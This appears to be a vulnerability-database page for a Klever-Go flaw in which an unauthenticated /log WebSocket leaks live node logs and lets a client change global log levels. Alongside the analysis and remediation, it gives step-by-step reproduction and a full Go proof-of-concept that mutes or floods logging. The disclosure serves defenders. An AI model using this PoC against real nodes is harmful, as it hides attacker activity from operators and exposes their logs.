Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach node REST API interface
-
DeliveryOpen unauthenticated WebSocket to GET /log
-
ExploitSend crafted logger profile as first frame
-
ExecutionNode applies profile process-wide via Apply()
-
PersistMute or flood global node logging
-
ImpactStream live process logs to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The |
| Impact | This is a genuine, easily-triggered management-plane flaw but its real-world priority is bounded by product footprint and exposure, not by the raw 8.6 score. CVSS 3.1 signals maximal reachability (AV:N/AC:L/PR:N/UI:N) - remote, unauthenticated, no user interaction, low complexity - and the |
| Exploit ScenarioDerived | An attacker who can reach a Klever-Go node's REST API interface opens a WebSocket to |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 23, 2026
Unauthenticated remote attackers can connect to the /log WebSocket endpoint in Klever-Go and either read live node logs or apply an arbitrary logger profile process-wide, for example setting *:NONE to mute normal slot logs or *:TRACE to flood them. The flaw is a management-plane information exposure (CWE-200) with additional integrity and availability effects, and publicly available exploit code exists because the advisory includes a proof-of-concept reproduction; no CISA KEV active exploitation is indicated. Exploitation requires the REST API to be network-reachable, so nodes that keep the API bound to localhost or an admin-only interface are not remotely exposed, and the vendor-released fix is version 1.7.20.
RemediationAI
Upgrade to Klever-Go v1.7.20 or later, which is the vendor-released patch; the fix is described in advisory GHSA-9v8p-frvj-2pcm and implemented in PR #74 and commit a2740c985a788fb69e17742ea4f0c37c440733b2. The patch enforces authentication before the WebSocket upgrade when /log is marked secured and ignores client-supplied logger profiles on unauthenticated /log connections. If immediate upgrade is not possible, set the /log route to open: false in config/node/api.yaml and require authentication for any remaining admin log-streaming route, bind the REST API to 127.0.0.1 or a trusted admin network via --rest-api-interface, and block public network access to the API port with firewall rules. These compensating controls carry trade-offs: disabling /log removes remote log streaming, while localhost binding or firewall restrictions prevent legitimate remote administration and monitoring. Do not apply client-provided logger profiles to the process-global logger as a code-level mitigation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the Klever-Go node's WebSocket logging endpoint, exposed by default via GET /log and registered in network/api/api.go, with the route enabled by config/node/api.yaml. After the WebSocket upgrade, which is performed without authentication, the server in network/api/logs/logSender.go reads the first client message and deserializes it as a logger Profile, then calls profile.Apply() from github.com/klever-io/klever-go-logger. That applies the attacker-supplied LogLevelPatterns, WithCorrelation, and WithLoggerName settings to the process-global logger, affecting all node logging until the WebSocket disconnects and the server restores the previous profile. The same unauthenticated connection is also registered as a log observer and receives live logs, which is the CWE-200 information exposure. The affected package is pkg:go/github.com_klever-io_klever-go, covering Klever-Go up to and including 1.7.19. The root cause is an access-control and design flaw rather than a memory-safety issue: the endpoint mixes remote log streaming with process-global logger configuration and performs no authentication or authorization before applying client-controlled settings.
Know when Go gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Remote, unauthenticated, default-enabled endpoint (AV:N/AC:L/PR:N/UI:N); live-log exposure is operational so C:L not C:H, logger mutation is I:L, and log suppression degrades visibility as A:L.
Primary rating from Vendor (https://github.com/klever-io/klever-go).
CVSS VectorVendor: https://github.com/klever-io/klever-go
DescriptionCVE.org
An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.
This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.
Vulnerability details
Affected code
- Route exposed by default in
config/node/api.yaml - Route registration in
network/api/api.go - Unauthenticated upgrade in
network/api/api.go - First client message is parsed as a logger profile and applied globally in
network/api/logs/logSender.go - Global logger mutation happens in dependency
github.com/klever-io/klever-go-logger,profile.go,Apply()
Root cause
/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.
After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.
Reproduction steps
Environment
- Validator built from the repository at commit
9640d63265e910e166dfa694c8e5ddeb53018ffd - REST API bound locally for validation
- Tested on 2026-05-30
Step 1: Build and run a local validator from source
cd <repo-root>
go build -o ./bin/validator ./cmd/node
./bin/validator \
--rest-api-interface=127.0.0.1:18080 \
--port=18083 \
--config=./config/node/config.yaml \
--config-api=./config/node/api.yaml \
--config-epochs=./config/node/enableEpochs.yaml \
--config-gas-schedule=./config/node/gasScheduleV1.yaml \
--config-external=./config/node/external.yaml \
--genesis-file=./config/node/genesis.json \
--nodes-setup-file=./config/node/nodesSetup.json \
--working-directory=./validator-report-run \
--use-log-viewThe node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:
curl -i http://127.0.0.1:18080/logObserved response:
HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13Step 2: Confirm normal node logging before the attack
Before the attack, the validator emits periodic slot logs such as:
#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################Step 3: Connect to /log without authentication and apply a global mute profile
Run the PoC file:
cd <repo-root>
go run ./poc-log-profile-control.go \
-url ws://127.0.0.1:18080/log \
-profile none \
-hold 12sFull PoC source:
package main
import (
"flag"
"fmt"
"log"
"time"
"github.com/gorilla/websocket"
)
func main() {
url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
profile := flag.String("profile", "none", "Profile to send: none or trace")
hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
flag.Parse()
payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
switch *profile {
case "trace":
payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
case "none":
default:
log.Fatalf("unsupported profile %q", *profile)
}
c, _, err := websocket.DefaultDialer.Dial(*url, nil)
if err != nil {
log.Fatalf("dial: %v", err)
}
defer c.Close()
fmt.Printf("connected to %s\n", *url)
fmt.Printf("sending payload: %s\n", payload)
if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {
log.Fatalf("write payload: %v", err)
}
fmt.Printf("holding connection open for %s\n", hold.String())
time.Sleep(*hold)
fmt.Println("closing connection")
}Save the PoC as poc-log-profile-control.go in the repository root, or run it from any directory with access to the Go module cache.
Step 4: Observe the validator accepts and applies the unauthenticated profile
While the PoC is connected, the validator prints:
websocket log profile received profile = [pattern=*:NONE, with correlation=false, with logger name=false]Step 5: Observe logging is suppressed while the attacker connection remains open
In my local reproduction, the validator emitted:
SLOT 14 BEGINS
websocket log profile received profile = [pattern=*:NONE, ...]
reverted log profile profile = [pattern=*:INFO, ...]
SLOT 18 BEGINSThe expected slot logs for the interval while *:NONE was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.
Step 6: Observe the profile is restored only after the attacker disconnects
After the PoC closes the WebSocket, the validator prints:
reverted log profile profile = [pattern=*:INFO, with correlation=false, with logger name=false]The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.
Impact
An unauthenticated attacker can:
- read live process logs over
/log - mute node logging completely with
*:NONE - increase verbosity to
*:TRACEand force noisy logging - toggle correlation and logger-name settings process-wide
This affects both confidentiality and operational integrity.
In the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.
This issue is distinct from:
GHSA-jc6w-wmfc-fh33(KVM read-only execution side effects)GHSA-87m7-qffr-542v(MultiDataInterceptor remote OOM)GHSA-74m6-4hjp-7226(MultiDataInterceptor throttler slot leak)
Those are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.
Recommended fix
Immediate
- Remove
/logfrom the defaultopen: trueroute set. - Require authentication before upgrading the WebSocket.
- Reject unauthenticated clients before any profile message is processed.
Short term
- Do not apply client-provided logger profiles to the process-global logger.
- If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.
- Enforce origin checks and, if possible, bind
/logto localhost-only or a dedicated admin interface.
Long term
- Separate log streaming from global logger configuration.
- Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.
Technical POC Analysis
Bug class: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor); the advisory also assigns CWE-306 (Missing Authentication for Critical Function).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Klever-Go, the blockchain node implementation, carries a high-severity flaw in its /log WebSocket endpoint that lets anyone able to reach a node's REST API read live node logs and rewrite the node's logging configuration process-wide - either silencing normal slot logs or flooding them. Nodes whose REST API is bound to localhost or an admin-only interface are not remotely exposed, but any node with a network-reachable API is at risk of operational data disclosure and of log manipulation that could mask other malicious activity on the network. Leadership should care because logging integrity underpins incident detection and audit obligations across the validator and node fleet, and a single exposed endpoint can undermine both confidentiality and the reliability of the evidence used to investigate other incidents.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
The net/http package in Go through 1.6 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and there
Critical certificate validation bypass in Go crypto/tls during session resumption. If ClientCAs or RootCAs fields are mu
net/url in Go before 1.11.13 and 1.12.x before 1.12.8 mishandles malformed hosts in URLs, leading to an authorization by
Casdoor through 4.4.0 exposes its instance-wide built-in JWT signing private key unmasked through the /api/get-certs and
Host header injection in Nezha 2.2.3's OAuth2 redirect endpoint (/api/v1/oauth2/{provider}) allows an unauthenticated re
Session cross-wiring in SUSE NeuVector before 5.6.1 allows an unauthenticated remote attacker to obtain another user's a
Unauthenticated path traversal in Uber Kraken through 0.1.29 allows remote attackers to read files outside the configure
The "go get" implementation in Go 1.9.4, when the -insecure command-line option is used, does not validate the import pa
Denial of service in Temporal Server allows an authenticated caller holding at least namespace read permission to crash
Account takeover in Klever-Go's KleverUpdateAccountPermission built-in (all versions prior to 1.7.20) allows an attacker
Maliciously crafted on-chain account names processed by Klever-Go prior to 1.7.20 are spliced into Elasticsearch _bulk r
EUVD-2026-85574
GHSA-9v8p-frvj-2pcm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB